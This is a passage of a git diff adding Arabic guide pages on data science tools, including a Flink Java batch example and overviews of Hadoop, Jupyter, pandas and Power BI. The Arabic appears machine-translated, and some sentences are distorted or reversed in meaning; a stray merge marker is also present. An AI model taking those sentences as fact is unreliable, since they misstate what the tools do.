+ `git clone https://github.com/apache/flink.git 
+ cd flink 
+ mvn clean package -DskipTests # this will take up to 10 minutes 
+` 
+
+### قواعد البيانات
+
+بالنسبة لبيانات معالجة الدُفعات ، سنستخدم مجموعات البيانات هنا: [مجموعات البيانات](http://files.grouplens.org/datasets/movielens/ml-latest-small.zip) في هذا المثال ، سنستخدم movies.csv و ratings.csv ، وننشئ مشروع جافا جديدًا ونضعه في مجلد في قاعدة التطبيق.
+
+### مثال
+
+سنقوم بتنفيذ عملية التنفيذ حيث نقوم باسترداد متوسط ​​تصنيف نوع الفيلم في مجموعة البيانات الكاملة التي لدينا.
+
+**البيئة ومجموعات البيانات**
+
+أولاً قم بإنشاء ملف Java جديد ، سأقوم بتسميته AverageRating.java
+
+أول شيء سنقوم به هو إنشاء بيئة التنفيذ وتحميل ملفات csv في مجموعة بيانات. مثله:
+
+ `ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment(); 
+ DataSet<Tuple3<Long, String, String>> movies = env.readCsvFile("ml-latest-small/movies.csv") 
+  .ignoreFirstLine() 
+  .parseQuotedStrings('"') 
+  .ignoreInvalidLines() 
+  .types(Long.class, String.class, String.class); 
+ 
+ DataSet<Tuple2<Long, Double>> ratings = env.readCsvFile("ml-latest-small/ratings.csv") 
+  .ignoreFirstLine() 
+  .includeFields(false, true, true, false) 
+  .types(Long.class, Double.class); 
+` 
+
+هناك ، نحن نجعل مجموعة البيانات مع للأفلام ، وتجاهل الأخطاء ، والاقتباسات ، وخط الرأس ، ومجموعة البيانات مع بالنسبة إلى تقييمات الأفلام ، مع تجاهل أيضًا الرأس ، والخطوط والعروض غير الصالحة.
+
+**تجهيز فلينك**
+
+هنا سوف نقوم بمعالجة مجموعة البيانات بحرف. ستكون النتيجة في قائمة سلسلة ، مجموعات مزدوجة. حيث سيكون هذا النوع في السلسلة وستكون الدرجة المتوسطة في الحالة المزدوجة.
+
+أولاً سننضم إلى مجموعة بيانات التصنيفات مع مجموعة بيانات الأفلام حسب الأفلام الموجودة في كل مجموعة بيانات. مع هذا سنقوم بإنشاء Tuple جديد مع اسم الفيلم والنوع والنتيجة. في وقت لاحق ، نقوم بتجميع هذه المجموعة حسب النوع وإضافة مجموع كل الأنواع المتساوية ، وأخيرا نقسم النتيجة على مجموع النتائج ولدينا النتيجة المرجوة.
+
+ `List<Tuple2<String, Double>> distribution = movies.join(ratings) 
+  .where(0) 
+  .equalTo(0) 
+  .with(new JoinFunction<Tuple3<Long, String, String>,Tuple2<Long, Double>, Tuple3<StringValue, StringValue, DoubleValue>>() { 
+    private StringValue name = new StringValue(); 
+    private StringValue genre = new StringValue(); 
+    private DoubleValue score = new DoubleValue(); 
+    private Tuple3<StringValue, StringValue, DoubleValue> result = new Tuple3<>(name,genre,score); 
+ 
+    @Override 
+    public Tuple3<StringValue, StringValue, DoubleValue> join(Tuple3<Long, String, String> movie,Tuple2<Long, Double> rating) throws Exception { 
+      name.setValue(movie.f1); 
+      genre.setValue(movie.f2.split("\\|")[0]); 
+      score.setValue(rating.f1); 
+      return result; 
+    } 
+ }) 
+  .groupBy(1) 
+  .reduceGroup(new GroupReduceFunction<Tuple3<StringValue,StringValue,DoubleValue>, Tuple2<String, Double>>() { 
+    @Override 
+    public void reduce(Iterable<Tuple3<StringValue,StringValue,DoubleValue>> iterable, Collector<Tuple2<String, Double>> collector) throws Exception { 
+      StringValue genre = null; 
+      int count = 0; 
+      double totalScore = 0; 
+      for(Tuple3<StringValue,StringValue,DoubleValue> movie: iterable){ 
+        genre = movie.f1; 
+        totalScore += movie.f2.getValue(); 
+        count++; 
+      } 
+ 
+      collector.collect(new Tuple2<>(genre.getValue(), totalScore/count)); 
+    } 
+ }) 
+  .collect(); 
+` 
+
+مع هذا سيكون لديك تطبيق حرفة معالجة دفعة واحدة. استمتع!.
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/flink/index.md b/client/src/guide/arabic/data-science-tools/flink/index.md
new file mode 100644
index 0000000000..54ff50554d
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/flink/index.md
@@ -0,0 +1,68 @@
+---
+title: Flink
+localeTitle: Flink
+---
+## Flink
+
+Apache Flink هو إطار مفتوح المصدر لتجهيز التدفق مع إمكانات قوية لمعالجة البث والدفعة.
+
+إن جوهر Apache Flink هو محرك تدفق تدفق البيانات موزع في جافا و سكالا. Flink ينفذ برامج تدفق البيانات التعسفي بطريقة موازية البيانات وخطوط الأنابيب. يتيح نظام تشغيل Flink المضمن من خلال Flink تنفيذ برامج معالجة الدفعات الجماعية / الدُفعات. علاوة على ذلك ، يدعم وقت تشغيل Flink تنفيذ الخوارزميات المتكررة بشكل أصلي. يوفر Flink محرك تدفق عالي الإنتاجية منخفض الكمون بالإضافة إلى دعم لمعالجة وقت الحدث وإدارة الولاية. تكون تطبيقات Flink متسامحة مع الخطأ في حالة فشل الماكينة وتدعم دلالات دقيقة تمامًا. يمكن كتابة البرامج في Java و Scala و Python و SQL ويتم تجميعها وترتيبها تلقائيًا في برامج تدفق البيانات التي يتم تنفيذها في بيئة مجموعة أو بيئة سحابة.
+
+لا توفر Flink نظام تخزين البيانات الخاص بها وتوفر مصدر بيانات وموصلات بالوعة لأنظمة Kinesis Amazon و Apache Kafka و HDFS و Apache Cassandra و ElasticSearch.
+
+![Flink سير العمل](https://flink.apache.org/img/flink-home-graphic-update.svg)
+
+**ما هو الجديد في Apache Flink؟**
+
+*   Flink ينفذ معالجة البث الفعلي ولا يقلدها بمعالجة الدُفعة الصغيرة. في Spark streaming هي حالة خاصة من الخلط ، بينما في Flink batching هي حالة خاصة من التدفق (تدفق حجم محدود)
+*   Flink لديه دعم أفضل للمعالجة الدورية والمتكررة
+*   تتميز Flink بوقت استجابة أقل ومعدل نقل أعلى
+*   Flink لديه مشغلي نوافذ أكثر قوة
+*   تقوم فلينك بتطبيق اللقطات الموزعة خفيفة الوزن ذات الضمادات المنخفضة والضمانات المعالجة مرة واحدة فقط في معالجة البث ، بدون استخدام الخلط الدقيق كما يفعل سبارك
+*   Flink يدعم الحالة القابلة للتغيير في معالجة الدفق
+
+### الميزات
+
+*   وقت تشغيل متدفق يدعم كل من برامج معالجة الدفعات وتدفق البيانات
+*   واجهات برمجة تطبيقات أنيقة وجيدة في جافا وسكالا
+*   وقت تشغيل يدعم معدل نقل عالٍ جدًا ووقت استجابة منخفض في نفس الوقت
+*   دعم _وقت_ المعالجة ومعالجة _الطلب_ في واجهة برمجة التطبيقات DataStream ، استنادًا إلى _نموذج تدفق البيانات_
+*   النوافذ المرنة (الوقت ، العدد ، الجلسات ، المشغلات المخصصة) عبر دلالات الزمن المختلفة (وقت الحدث ، وقت المعالجة)
+*   التسامح مع ضمانات معالجة _مرة واحدة بالضبط_
+*   الضغط الطبيعي في برامج التدفق
+*   مكتبات معالجة الرسوم البيانية (الدفعة) ، تعلم الآلة (الدفعة) ، ومعالجة الأحداث المعقدة (الدفق)
+*   دعم مضمّن لبرامج تكرارية (BSP) في DataSet (دفعي) API
+*   إدارة الذاكرة المخصصة للتبديل الفعال والقوي بين خوارزميات معالجة البيانات في الذاكرة وخارجها
+*   طبقات التوافق لـ Apache Hadoop MapReduce و Apache Storm
+*   التكامل مع YARN و HDFS و HBase والمكونات الأخرى للنظام البيئي Apache Hadoop
+
+### استخدام فلينك
+
+المتطلبات الأساسية لبناء فلينك:
+
+*   بيئة شبيهة بـ Unix (نستخدم Linux و Mac OS X و Cygwin)
+*   بوابة
+*   مي Mن (نوصي بالإصدار 3.0.4)
+*   جافا 7 أو 8
+
+ `git clone https://github.com/apache/flink.git 
+ cd flink 
+ mvn clean package -DskipTests # this will take up to 10 minutes 
+` 
+
+## تطوير فلينك
+
+تستخدم مفصيلات Flink IntelliJ IDEA لتطوير قاعدة البيانات Flink. نوصي IntelliJ IDEA لتطوير المشاريع التي تنطوي على رمز سكالا.
+
+الحد الأدنى لمتطلبات IDE هي:
+
+*   دعم Java و Scala (أيضًا مشاريع مختلطة)
+*   دعم Maven مع Java و Scala
+
+#### معلومات اكثر:
+
+*   Flink الموقع: [أباتشي فلينك](https://flink.apache.org/)
+*   وثائق [flink](https://ci.apache.org/projects/flink/flink-docs-release-1.3/) : [flinkdocs](https://ci.apache.org/projects/flink/flink-docs-release-1.3/)
+*   سريع تعليمي [سريع](https://www.linkedin.com/pulse/introduction-apache-flink-quickstart-tutorial-malini-shukla/) : [بداية سريعة](https://www.linkedin.com/pulse/introduction-apache-flink-quickstart-tutorial-malini-shukla/)
+*   كيف توجه: [كيف](https://data-artisans.com/blog/kafka-flink-a-practical-how-to)
+*   Flink vs Spark: [المقارنة](http://www.developintelligence.com/blog/2017/02/comparing-contrasting-apache-flink-vs-spark/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/hadoop/index.md b/client/src/guide/arabic/data-science-tools/hadoop/index.md
new file mode 100644
index 0000000000..1ea005da46
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/hadoop/index.md
@@ -0,0 +1,58 @@
+---
+title: Hadoop
+localeTitle: Hadoop
+---
+## ![Hadoop](http://2s7gjr373w3x22jf92z99mgm5w-wpengine.netdna-ssl.com/wp-content/uploads/2014/08/Hadoop_logo_2.png)
+
+### هل كنت تعلم؟
+
+يدعى Hadoop بعد فيل لعبة تنتمي إلى ابنه دوغ القطع. اختار Doug اسم مشروعه المفتوح المصدر حيث كان من السهل تهجئته والتعبير عنه والعثور عليه في نتائج البحث. يظهر الفيل الأصفر المحشي الأصلي الذي استلهم الاسم في شعار Hadoop.
+
+### ما هو هادوب؟
+
+Hadoop هو إطار يسمح بالتعامل الموزع لمجموعات البيانات الكبيرة عبر مجموعة من أجهزة الكمبيوتر ، باستخدام نماذج برمجة بسيطة. إنها تمكن من رفع مستوى الخوادم الفردية إلى الآلاف من الآلات ، كل منها يقدم حوسبة وتخزين محلية. بدلاً من الاعتماد على الأجهزة لتوفير توفر عالي ، تم تصميم Hadoop نفسه لاكتشاف ومعالجة حالات الفشل في طبقة التطبيق. في حالة فشل أحد الأجهزة في مجموعة ، يمكن لـ Hadoop تعويض الفشل بدون فقد البيانات. وهذا يتيح تقديم خدمة عالية التوفر على قمة مجموعة من أجهزة الكمبيوتر ، قد يكون كل منها عرضة للفشل.
+
+في عام 2003 ، أصدرت Google بحثًا عن نظام ملفات Google (GFS). وقد قام بتفصيل نظام ملفات موزعة الملكية يهدف إلى توفير الوصول الفعال إلى كميات كبيرة من البيانات باستخدام أجهزة سلعية. بعد عام ، أصدرت غوغل ورقة أخرى بعنوان "MapReduce: معالجة البيانات المبسطة في مجموعات كبيرة". في ذلك الوقت ، كان دوغ يعمل في ياهو. كانت هذه الأوراق مصدر إلهام لمشروعه مفتوح المصدر Apache Nutch. في عام 2006 ، خرجت عناصر المشروع المعروفة الآن باسم Hadoop من Apache Nutch وتم إصدارها.
+
+### لماذا هو هادوب مفيد؟
+
+ووفقًا لـ IBM: "يتم يوميًا إنتاج 2.5 مليار غيغابايت من البيانات عالية السرعة في مجموعة متنوعة من الأشكال ، مثل منشورات الوسائط الاجتماعية والمعلومات التي يتم جمعها في أجهزة الاستشعار والأجهزة الطبية وأشرطة الفيديو وسجلات المعاملات".
+
+بعض الأمثلة للبيانات التي يتم إنشاؤها بشكل متكرر هي:
+
+*   البيانات الوصفية من استخدام الهاتف
+*   سجلات موقع الويب
+*   معاملات شراء بطاقة الائتمان
+
+تشير "البيانات الكبيرة" إلى مجموعات البيانات الكبيرة جدًا أو المعقدة التي يمكن معالجتها باستخدام تطبيقات البرامج التقليدية. تتمثل العوامل التي تسهم في تعقيد البيانات في حجم مجموعة البيانات وسرعة المعالجات المتوفرة وتنسيق البيانات.
+
+في وقت إصداره ، كان Hadoop قادرًا على معالجة البيانات على نطاق أوسع من البرامج التقليدية.
+
+### كور هدووب
+
+يتم تخزين البيانات في نظام الملفات الموزعة Hadoop (HDFS). باستخدام خريطة تقليل ، يعالج Hadoop البيانات في قطع متوازية (معالجة عدة أجزاء في نفس الوقت) بدلا من طابور واحد. هذا يقلل من الوقت اللازم لمعالجة مجموعات البيانات الكبيرة.
+
+يعمل HDFS عن طريق تخزين ملفات كبيرة مقسمة إلى أجزاء ، وتكرارها عبر العديد من الخوادم. يؤدي وجود نسخ متعددة من الملفات إلى إنشاء نسخ احتياطية ، مما يحمي من فقد البيانات.
+
+### Hadoop Ecosystem
+
+العديد من حزم البرامج الأخرى موجودة لتكمل Hadoop. هذه البرامج تشمل النظام البيئي Hadoop. تسهل بعض البرامج تحميل البيانات إلى مجموعة Hadoop ، بينما تجعل البرامج الأخرى استخدام Hadoop أسهل في الاستخدام.
+
+يتضمن نظام Hadoop Ecosystem ما يلي:
+
+*   Apache Hive
+*   اباتشي خنزير
+*   اباتشي HBase
+*   اباتشي فينيكس
+*   اباتشي سبارك
+*   Apache ZooKeeper
+*   كلوديرا إمبالا
+*   أباتشي فلوم
+*   أباتشي Sqoop
+*   اباتشي Oozie
+
+#### معلومات اكثر:
+
+1.  [بالطبع Udacity على hadoop](https://www.udacity.com/course/intro-to-hadoop-and-mapreduce--ud617)
+2.  [اباتشي هادوب](http://hadoop.apache.org/)
+3.  [Big Data Hadoop Tutorial أشرطة الفيديو من قبل edureka!](https://www.youtube.com/playlist?list=PL9ooVrP1hQOFrYxqxb0NJCdCABPZNo0pD)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/index.md b/client/src/guide/arabic/data-science-tools/index.md
new file mode 100644
index 0000000000..caf0bee1eb
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/index.md
@@ -0,0 +1,13 @@
+---
+title: Data Science Tools
+localeTitle: أدوات علوم البيانات
+---
+## أدوات علوم البيانات
+
+في هذا القسم ، سيكون لدينا أدلة لمجموعة واسعة من الأدوات التي يستخدمها علماء البيانات.
+
+إن علماء البيانات فضوليون وغالباً ما يبحثون عن أدوات جديدة تساعدهم في العثور على إجابات. كما أنهم بحاجة إلى أن يكونوا بارعين في استخدام أدوات التجارة ، على الرغم من وجود العشرات منهم على العشرات. وبشكل عام ، ينبغي أن يكون لدى علماء البيانات معرفة عملية بلغات البرمجة الإحصائية لبناء أنظمة معالجة البيانات وقواعد البيانات وأدوات التصوير. يعتبر الكثيرون في هذا المجال أيضًا معرفة البرمجة جزءًا لا يتجزأ من علم البيانات ؛ ومع ذلك ، لا يدرس جميع طلاب علم البيانات البرمجة ، لذا من المفيد أن يكونوا على دراية بالأدوات التي تتحايل على البرمجة وتتضمن واجهة رسومية سهلة الاستخدام بحيث تكون معرفة علماء البيانات بالخوارزميات كافية لمساعدتهم على بناء نماذج تنبؤية.
+
+لا يزال R الأداة الرئيسية ، مع حصة 49 ٪ ، ولكن بايثون تنمو بشكل أسرع ويكاد يكون ما يقرب من R. RapidMiner يبقى النظام الأساسي العام لعلوم البيانات. أدوات البيانات الكبيرة المستخدمة بنسبة 40٪ تقريبًا ، ومضاعفة استخدام التعلم العميق. علم البيانات هو OSEMN ( **O** btain، **S** crub، **M** odel، i **N** terpret) the Data. هناك مورد واحد جيد لعلوم البيانات وتعلم الآلة عن طريق ماسترز بيانات العلوم المفتوحة المصدر. اتبع github datasciencemasters !!!
+
+*   [موارد لعلوم البيانات](https://github.com/datasciencemasters/go)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/jupyter-notebook/index.md b/client/src/guide/arabic/data-science-tools/jupyter-notebook/index.md
new file mode 100644
index 0000000000..ed736c9d12
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/jupyter-notebook/index.md
@@ -0,0 +1,94 @@
+---
+title: Jupyter Notebook
+localeTitle: مفكرة Jupyter
+---
+## مفكرة Jupyter
+
+Jupyter Notebook هو تطبيق ويب مفتوح المصدر. حيث يتيح لك إنشاء ومشاركة المستندات التي تحتوي على رموز حية ومعادلات ومرئيات ونصوص سردية.
+
+يساعدك Jupyter Notebook على إنشاء ومشاركة المستندات التي تحتوي على الرموز الحية والمعادلات والمرئيات والنص المنسق.
+
+يمكنك استخدامه في:
+
+*   تنظيف البيانات وتحويلها
+*   محاكاة رقمية
+*   النمذجة الإحصائية
+*   عرض مرئي للمعلومات
+*   تعلم الآلة
+
+![](https://github.com/indianmoody/images/blob/master/guide_fcc/guides_jupyter_snap.jpeg) انظر النتائج الخاصة بك كما تذهب خطوة بخطوة. مثلما في هذه الصورة.
+
+## ما هو مفكرة Jupyter؟
+
+في هذه الحالة ، تشير "المفكرة" أو "المستندات الدفترية" إلى المستندات التي تحتوي على عناصر التعليمات البرمجية والنص المنسق ، مثل الأرقام والروابط والمعادلات. نظرًا لمزيج التعليمات البرمجية وعناصر النص ، فإن هذه المستندات هي المكان المثالي لتجميع وصف التحليل ونتائجها بالإضافة إلى إمكانية تنفيذها لتحليل البيانات في الوقت الفعلي.
+
+"Jupyter" هو اختصار فضفاض يعني Julia و Python و R. كانت لغات البرمجة هذه أول لغة مستهدفة لتطبيق Jupyter ، ولكن في الوقت الحاضر ، تدعم تقنية الكمبيوتر المحمول أيضًا العديد من اللغات الأخرى. وهناك لديك: مفكرة Jupyter.
+
+## ماذا تعمل، أو ماذا تفعل؟
+
+كتطبيق خادم العميل ، يتيح لك تطبيق Jupyter Notebook إمكانية تعديل أجهزة الكمبيوتر المحمولة الخاصة بك وتشغيلها عبر متصفح ويب. يمكن تنفيذ التطبيق على جهاز كمبيوتر دون الوصول إلى الإنترنت أو يمكن تثبيته على خادم بعيد ، حيث يمكنك الوصول إليه عبر الإنترنت.
+
+مكونان رئيسيان هما النواة ولوحة القيادة.
+
+نواة هو برنامج يعمل ويخترق رمز المستخدم. يحتوي Jupyter Notebook App على نواة لشفرة Python ، ولكن هناك أيضًا نواة متوفرة للغات البرمجة الأخرى. لا تعرض لوحة بيانات التطبيق مستندات المستندات المحمولة التي قمت بإجرائها ويمكن فقط إعادة فتحها ولكن يمكن استخدامها أيضًا لإدارة الحبيبات: يمكنك تشغيل أي منها وإغلاقها إذا لزم الأمر.
+
+## التركيب
+
+يمكنك استخدام Anaconda أو Pip لتثبيت دفتر Jupyter. للحصول على خطوات للقيام بذلك ، يرجى الرجوع إلى الدليل الرسمي [هنا.](https://jupyter.readthedocs.io/en/latest/install.html)
+
+#### معلومات اكثر:
+
+\=======
+
+### الميزات
+
+*   لا حاجة لتشغيل ملف الشفرة الكامل في كل مرة. فقط قم بتشغيل خلية مفكرة فردية لتقييم جزء معين من التعليمات البرمجية.
+*   يحتوي دفتر الملاحظات على دعم لأكثر من 40 لغة برمجة ، بما في ذلك Python و R و Julia و Scala.
+*   يمكن مشاركة أجهزة الكمبيوتر المحمول مع الآخرين باستخدام البريد الإلكتروني ، و Dropbox ، و GitHub و Jupyter Notebook Viewer.
+*   يمكن أن تنتج شفرتك مخرجات غنية وتفاعلية: HTML والصور ومقاطع الفيديو و LaTeX وأنواع MIME المخصصة.
+*   استفد من أدوات البيانات الضخمة ، مثل Apache Spark ، من Python و R و Scala. استكشف نفس البيانات مع الباندا ، scikit-learn ، ggplot2 ، TensorFlow.
+
+يجمع مفكرة Jupyter بين عنصرين:
+
+### تطبيق الويب:
+
+يساعد Jupyter Notebook App على تحرير وتشغيل أجهزة الكمبيوتر الدفترية في متصفح الويب ، حيث يجمع بين النصوص التوضيحية والرياضيات والحسابات والوسائط الغنية.
+
+### مستند دفتر الملاحظات:
+
+يمكن لـ Jupyter Notebook App إنشاء "مستند Notebook" يحتوي على كل من التعليمات البرمجية وعناصر النص المنسق. يمكن أن يكون مستند المفكرة قابلاً للقراءة والتنفيذ.
+
+يتم إنتاج هذه الوثائق بواسطة Jupyter Notebook App.
+
+## Jupyter دفتر الملاحظات التطبيق
+
+كتطبيق خادم العميل ، يتيح لك تطبيق Jupyter Notebook إمكانية تعديل أجهزة الكمبيوتر المحمولة الخاصة بك وتشغيلها عبر متصفح ويب.  
+يمكن تنفيذ التطبيق على جهاز كمبيوتر دون الوصول إلى الإنترنت أو يمكن تثبيته على خادم بعيد ، حيث يمكنك الوصول إليه عبر الإنترنت.
+
+مكونان رئيسيان هما النواة ولوحة القيادة.
+
+### الألباب
+
+نواة هو برنامج يعمل ويخترق رمز المستخدم. يحتوي Jupyter Notebook App على نواة لشفرة Python ، ولكن هناك أيضًا نواة متوفرة للغات البرمجة الأخرى.
+
+### لوحة القيادة
+
+لا تعرض لوحة بيانات التطبيق مستندات المستندات المحمولة التي قمت بإجرائها ويمكن فقط إعادة فتحها ولكن يمكن استخدامها أيضًا لإدارة الحبيبات: يمكنك تشغيل أي منها وإغلاقها إذا لزم الأمر.
+
+### كيف تعمل أجهزة الكمبيوتر المحمول
+
+نشأت دفاتر Jupyter من مشروع IPython الذي بدأه Fernando Perez. IPython هو غلاف تفاعلي ، يشبه shell Python العادي ولكن مع ميزات رائعة مثل تسليط الضوء على بناء الجملة وإكمال الشفرة. في الأصل ، عملت أجهزة الكمبيوتر المحمولة عن طريق إرسال رسائل من تطبيق الويب (دفتر الملاحظات الذي تراه في المتصفح) إلى نواة IPython (وهو تطبيق IPython يعمل في الخلفية). نفذت النواة الرمز ، ثم أعادته إلى دفتر الملاحظات. ![بنية دفتر الملاحظات](https://jupyter.readthedocs.io/en/latest/_images/notebook_components.png)
+
+عند حفظ المفكرة ، يتم كتابتها إلى الخادم كملف JSON **بامتداد** ملف **.ipynb** الاسم الجديد Jupyter يأتي من الجمع بين **Ju** lia و **Py** thon و **R.** هناك الكثير من الألباب للغات المختلفة لاستخدام Jupyter. يمكنك التحقق من [قائمة نواة Jupyter المتاحة](https://github.com/jupyter/jupyter/wiki/Jupyter-kernels) .
+
+### تثبيت مفكرة Jupyter
+
+دفاتر Jupyter تأتي تلقائيا مع التوزيع. ستتمكن من استخدام أجهزة الكمبيوتر المحمولة من البيئة الافتراضية. لتثبيت أجهزة الكمبيوتر المحمولة Jupyter في بيئة `conda install jupyter notebook` : `conda install jupyter notebook` لتثبيت أجهزة الكمبيوتر المحمولة Jupyter مع pip: `pip install jupyter notebook`
+
+#### معلومات اكثر:
+
+*   [موقع Jupyter Org](http://jupyter.org)
+*   [دليل التشغيل السريع Jupyter / IPython](http://jupyter-notebook-beginner-guide.readthedocs.io/en/latest/what_is_jupyter.html)
+*   [ما هو Jupyter Notebook من codebasics ، المدة 8:24](https://www.youtube.com/watch?v=q_BzsPxwLOE)
+*   [Jupyter Notebook Tutorial / Ipython Notebook Tutorial، by codebasics، duration 24:07](https://www.youtube.com/watch?v=EEEZX_0FMEc)
+*   [معلومات اكثر](https://www.datacamp.com/community/tutorials/tutorial-jupyter-notebook)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/pandas/index.md b/client/src/guide/arabic/data-science-tools/pandas/index.md
new file mode 100644
index 0000000000..7f76f39624
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/pandas/index.md
@@ -0,0 +1,69 @@
+---
+title: pandas
+localeTitle: الباندا
+---
+![Everybody loves pandas!](https://pandas.pydata.org/_static/pandas_logo.png "الباندا")
+
+## الباندا
+
+[الباندا](http://pandas.pydata.org/) هي مكتبة بايثون لتحليل البيانات باستخدام إطارات البيانات. إطارات البيانات هي جداول بيانات ، والتي يمكن مقارنةها من الناحية المفاهيمية بجدول بيانات. سيشعر علماء البيانات المألوفون بـ R بأنهم في وطنهم هنا. الباندا غالبا ما تستخدم جنبا إلى جنب مع numpy ، pyplot ، و scikit - تعلم.
+
+### استيراد الباندا
+
+هو اصطلاح يستخدم على نطاق واسع لاستيراد مكتبة الباندا باستخدام الاسم المستعار `pd` :
+
+ `import pandas as pd 
+` 
+
+## إطارات البيانات
+
+يتكون إطار البيانات من عدد من الصفوف والأعمدة. يمثل كل عمود ميزة من مجموعة البيانات ، وكذلك الاسم ونوع البيانات. يمثل كل صف نقطة بيانات من خلال قيم المعالم المرتبطة. تسمح لك مكتبة الباندا بمعالجة البيانات في إطار بيانات بطرق مختلفة. الباندا لديها الكثير من الاحتمالات ، لذلك ما يلي هو مجرد خدش السطح لإعطاء الشعور للمكتبة.
+
+## سلسلة
+
+السلسلة هي نوع البيانات الأساسي في الباندا. سلسلة تشبه إلى حد كبير صفيف (مصفوفة NumPy) (في الحقيقة إنها مبنية على قمة كائن مصفوفة NumPy). يمكن أن تحتوي السلسلة A على تسميات للمحور ، حيث يمكن فهرستها بواسطة تسمية بدون فهرسة أرقام لموقع البيانات. يمكنه الاحتفاظ بأي قائمة بايثون صحيحة مثل قائمة ، قاموس ، إلخ.
+
+## تحميل البيانات من ملف csv
+
+ملف `.csv` هو ملف _قيمة مفصولة بفواصل_ . طريقة شائعة جدا لتخزين البيانات. لتحميل هذه البيانات في إطار بيانات `read_csv` ، استخدم الطريقة `read_csv` :
+
+ `df = pd.read_csv(file_path) 
+` 
+
+هنا ، يمكن أن يكون `file_path` مسارًا محليًا لملف csv على جهاز الكمبيوتر الخاص بك ، أو عنوان url يشير إلى واحد. قد يتم تضمين أسماء الأعمدة في ملف csv ، أو قد يتم تمريرها كوسيطة. لمزيد من المعلومات حول هذا ، وأكثر من ذلك بكثير ، ألق نظرة على [الوثائق](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html?highlight=read_csv#pandas.read_csv) .
+
+## الحصول على لمحة عامة عن إطار البيانات
+
+لإظهار الصفوف القليلة الأولى من إطار البيانات ، تكون طريقة `head` مفيدة (مرة أخرى يجب أن يبدو هذا مألوفًا لمبرمجي R):
+
+ `df.head() 
+` 
+
+سيظهر هذا الصفوف الخمسة الأولى من إطار البيانات.
+
+لعرض أكثر من أول 5 صفوف ، قم ببساطة بوضع عدد الصفوف التي تريد طباعتها داخل طريقة `head` .
+
+ `df.head(10) 
+` 
+
+سيظهر هذا أول 10 صفوف من إطار البيانات.
+
+لإظهار الصفوف القليلة الأخيرة من إطار البيانات ، تكون طريقة `tail` مفيدة (مرة أخرى يجب أن يبدو هذا مألوفًا لمبرمجي R):
+
+ `df.tail() 
+` 
+
+سيظهر هذا آخر 5 صفوف من إطار البيانات.
+
+## Subsetting: الحصول على عمود بالاسم
+
+يمكن أن يكون إطار البيانات جزئيًا بعدة طرق. واحد من أبسط هو الحصول على عمود واحد. على سبيل المثال ، إذا كان إطار البيانات `df` يحتوي على عمود اسمه `age` ، فيمكننا استخلاصه كما يلي:
+
+ `ages=df["age"] 
+` 
+
+#### معلومات اكثر:
+
+1.  [الباندا](http://pandas.pydata.org/)
+2.  [read\_csv](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html?highlight=read_csv#pandas.read_csv)
+3.  [رئيس](http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.head.html?highlight=head#pandas.DataFrame.head)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/power-bi/index.md b/client/src/guide/arabic/data-science-tools/power-bi/index.md
new file mode 100644
index 0000000000..61a4f00421
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/power-bi/index.md
@@ -0,0 +1,25 @@
+---
+title: Power BI
+localeTitle: قوة BI
+---
+# الطاقة BI:
+
+يعد Power BI منتجًا متوفرًا تجاريًا بواسطة Microsoft لتوفير إحصاءات ومعلومات مرئية للبيانات الغريبة.
+
+## الميزات الأساسية:
+
+يحتوي Power BI على العديد من الميزات الخاصة بتناول البيانات وتحليلها واستهلاكها:
+
+*   حزم محتوى البيانات لجلب البيانات من العديد من المصادر ، بما في ذلك GitHub و Facebook و AWS و Azure ومعظم قواعد بيانات SQL
+*   نمذجة بيانات بديهية وأدوات استنباط يمكن إجراؤها آليًا للجداول ذات البنية أو المحتوى المماثل
+*   مخططات الأسهم والرسوم البيانية (بما في ذلك القوة الموجهة!) لتقرير السحب والإفلات ومبنى لوحة المعلومات
+*   وحدة التحكم R للتحليل الإحصائي المتقدم
+*   إمكانات مضمنة لعرض لوحات المعلومات عبر مجموعات العمل المختلفة أو للاستهلاك العام
+
+## كيف يتم استخدامها لعلوم البيانات:
+
+في حين أنها ليست قوية لتحليل الاستدلال المعقد أو تخفيض الخريطة ، إلا أنها تزدهر في عرض البيانات في لوحات المعلومات التفاعلية للمستهلكين العاديين من بيانات الأعمال. PowerBI هو الجسر الذي يربط بين عالِم البيانات وباقي عالم الأعمال الذين يرغبون في الحصول على بيانات لاتخاذ القرار في سهولة فهم التصورات. من خلال الاستفادة من بيئة Office 365 التي يعرفها العديد من المستهلكين ، يمكن لـ Data Scientist تقديم التحليل المخصص الأكثر تعقيدًا أو التصور من خلال وحدة التحكم R للتفاعل من قِبل أي شخص يكون مطلوبًا.
+
+## مختبر
+
+[استخدام Microsoft Power BI لاستكشاف البيانات المرئية وتصويرها](https://github.com/Microsoft/computerscience/blob/master/Labs/Big%20Data%20and%20Analytics/Power%20BI/Power%20BI.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/scikit/index.md b/client/src/guide/arabic/data-science-tools/scikit/index.md
new file mode 100644
index 0000000000..0a16555eec
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/scikit/index.md
@@ -0,0 +1,13 @@
+---
+title: scikit-learn
+localeTitle: scikit تعلم
+---
+## Scikit تعلم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/data-science-tools/scikit/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[الصفحة المرجعية Scikit- تعلم](http://scikit-learn.org/stable/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/data-science-tools/spark/index.md b/client/src/guide/arabic/data-science-tools/spark/index.md
new file mode 100644
index 0000000000..8a903f6243
--- /dev/null
+++ b/client/src/guide/arabic/data-science-tools/spark/index.md
